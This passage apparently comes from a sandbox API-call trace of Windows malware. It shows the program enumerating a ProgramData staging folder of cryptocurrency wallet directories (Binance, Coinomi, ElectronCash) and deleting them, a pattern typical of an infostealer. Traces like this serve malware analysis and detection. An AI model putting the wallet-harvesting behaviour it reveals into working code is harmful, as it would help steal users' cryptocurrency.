lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance\\." [0102.165] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Binance" | out: lpString1="\\Wallets\\Binance") returned="\\Wallets\\Binance" [0102.165] lstrcatW (in: lpString1="\\Wallets\\Binance", lpString2="\\" | out: lpString1="\\Wallets\\Binance\\") returned="\\Wallets\\Binance\\" [0102.165] lstrcatW (in: lpString1="\\Wallets\\Binance\\", lpString2="." | out: lpString1="\\Wallets\\Binance\\.") returned="\\Wallets\\Binance\\." [0102.165] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.165] FindNextFileW (in: hFindFile=0x6d1618, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c3c26, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c3c26, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c3c26, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.165] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance" [0102.165] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance\\" [0102.165] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance\\.." [0102.165] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Binance" | out: lpString1="\\Wallets\\Binance") returned="\\Wallets\\Binance" [0102.165] lstrcatW (in: lpString1="\\Wallets\\Binance", lpString2="\\" | out: lpString1="\\Wallets\\Binance\\") returned="\\Wallets\\Binance\\" [0102.165] lstrcatW (in: lpString1="\\Wallets\\Binance\\", lpString2=".." | out: lpString1="\\Wallets\\Binance\\..") returned="\\Wallets\\Binance\\.." [0102.165] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0102.165] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.165] FindNextFileW (in: hFindFile=0x6d1618, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c3c26, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c3c26, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c3c26, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.165] FindClose (in: hFindFile=0x6d1618 | out: hFindFile=0x6d1618) returned 1 [0102.166] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0102.166] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3f) returned 0x2112c00 [0102.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance", cchWideChar=63, lpMultiByteStr=0x2112c00, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance", lpUsedDefaultChar=0x0) returned 63 [0102.166] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112a50 [0102.166] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112c00 | out: hHeap=0x2110000) returned 1 [0102.166] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.166] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2116868 [0102.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2116868, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.166] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116868 | out: hHeap=0x2110000) returned 1 [0102.166] PathMatchSpecW (pszFile="Binance", pszSpec="*.*") returned 1 [0102.166] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.166] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0102.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0102.166] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3f) returned 0x2112c48 [0102.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance", cchWideChar=63, lpMultiByteStr=0x2112c48, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance", lpUsedDefaultChar=0x0) returned 63 [0102.166] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21127c8 [0102.166] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112c48 | out: hHeap=0x2110000) returned 1 [0102.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Binance", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0102.166] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x11) returned 0x3430ee0 [0102.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Binance", cchWideChar=17, lpMultiByteStr=0x3430ee0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\Binance", lpUsedDefaultChar=0x0) returned 17 [0102.166] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430600 [0102.166] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ee0 | out: hHeap=0x2110000) returned 1 [0102.166] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\binance"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.167] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430600 | out: hHeap=0x2110000) returned 1 [0102.167] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21127c8 | out: hHeap=0x2110000) returned 1 [0102.167] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0102.167] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.167] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Binance" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\binance")) returned 0 [0102.167] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a50 | out: hHeap=0x2110000) returned 1 [0102.167] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c3c26, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c3c26, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c3c26, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coinomi", cAlternateFileName="")) returned 1 [0102.167] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" [0102.167] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\" [0102.167] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\", lpString2="Coinomi" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi" [0102.167] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0102.167] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0102.167] lstrcatW (in: lpString1="\\Wallets\\", lpString2="Coinomi" | out: lpString1="\\Wallets\\Coinomi") returned="\\Wallets\\Coinomi" [0102.167] lstrcmpW (lpString1="Coinomi", lpString2=".") returned 1 [0102.167] lstrcmpW (lpString1="Coinomi", lpString2="..") returned 1 [0102.167] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi" [0102.167] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi\\*.*" [0102.167] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c3c26, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c3c26, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c3c26, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d16d8 [0102.168] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi" [0102.168] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi\\" [0102.168] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi\\." [0102.168] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Coinomi" | out: lpString1="\\Wallets\\Coinomi") returned="\\Wallets\\Coinomi" [0102.168] lstrcatW (in: lpString1="\\Wallets\\Coinomi", lpString2="\\" | out: lpString1="\\Wallets\\Coinomi\\") returned="\\Wallets\\Coinomi\\" [0102.168] lstrcatW (in: lpString1="\\Wallets\\Coinomi\\", lpString2="." | out: lpString1="\\Wallets\\Coinomi\\.") returned="\\Wallets\\Coinomi\\." [0102.168] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.168] FindNextFileW (in: hFindFile=0x6d16d8, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c3c26, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c3c26, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c3c26, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.168] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi" [0102.168] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi\\" [0102.168] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi\\.." [0102.168] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Coinomi" | out: lpString1="\\Wallets\\Coinomi") returned="\\Wallets\\Coinomi" [0102.168] lstrcatW (in: lpString1="\\Wallets\\Coinomi", lpString2="\\" | out: lpString1="\\Wallets\\Coinomi\\") returned="\\Wallets\\Coinomi\\" [0102.168] lstrcatW (in: lpString1="\\Wallets\\Coinomi\\", lpString2=".." | out: lpString1="\\Wallets\\Coinomi\\..") returned="\\Wallets\\Coinomi\\.." [0102.168] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0102.168] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.168] FindNextFileW (in: hFindFile=0x6d16d8, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c3c26, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c3c26, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c3c26, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.168] FindClose (in: hFindFile=0x6d16d8 | out: hFindFile=0x6d16d8) returned 1 [0102.169] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0102.169] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3f) returned 0x2112ae0 [0102.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi", cchWideChar=63, lpMultiByteStr=0x2112ae0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi", lpUsedDefaultChar=0x0) returned 63 [0102.169] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112858 [0102.169] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112ae0 | out: hHeap=0x2110000) returned 1 [0102.169] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.169] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x21168d8 [0102.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x21168d8, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.169] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168d8 | out: hHeap=0x2110000) returned 1 [0102.169] PathMatchSpecW (pszFile="Coinomi", pszSpec="*.*") returned 1 [0102.169] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.169] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0102.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0102.169] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3f) returned 0x2112d20 [0102.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi", cchWideChar=63, lpMultiByteStr=0x2112d20, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi", lpUsedDefaultChar=0x0) returned 63 [0102.169] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112930 [0102.169] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112d20 | out: hHeap=0x2110000) returned 1 [0102.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Coinomi", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0102.169] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x11) returned 0x3430ee0 [0102.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Coinomi", cchWideChar=17, lpMultiByteStr=0x3430ee0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\Coinomi", lpUsedDefaultChar=0x0) returned 17 [0102.169] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303a8 [0102.169] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ee0 | out: hHeap=0x2110000) returned 1 [0102.169] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\coinomi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.170] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303a8 | out: hHeap=0x2110000) returned 1 [0102.170] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112930 | out: hHeap=0x2110000) returned 1 [0102.170] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0102.170] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.170] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Coinomi" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\coinomi")) returned 0 [0102.170] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112858 | out: hHeap=0x2110000) returned 1 [0102.170] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b78a8, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b78a8, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b78a8, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ElectronCash", cAlternateFileName="ELECTR~2")) returned 1 [0102.170] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" [0102.170] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\" [0102.170] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\", lpString2="ElectronCash" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash" [0102.170] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0102.170] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0102.170] lstrcatW (in: lpString1="\\Wallets\\", lpString2="ElectronCash" | out: lpString1="\\Wallets\\ElectronCash") returned="\\Wallets\\ElectronCash" [0102.170] lstrcmpW (lpString1="ElectronCash", lpString2=".") returned 1 [0102.170] lstrcmpW (lpString1="ElectronCash", lpString2="..") returned 1 [0102.170] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash" [0102.170] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash\\*.*" [0102.170] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b78a8, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b78a8, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b78a8, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1718 [0102.171] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash" [0102.171] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash\\" [0102.171] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectronCash\\." [0102.171] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\ElectronCash" | out: lpString1="\\Wallets\\ElectronCash") returned="\\Wallets\\ElectronCash" [0102.171] lstrcatW (in: 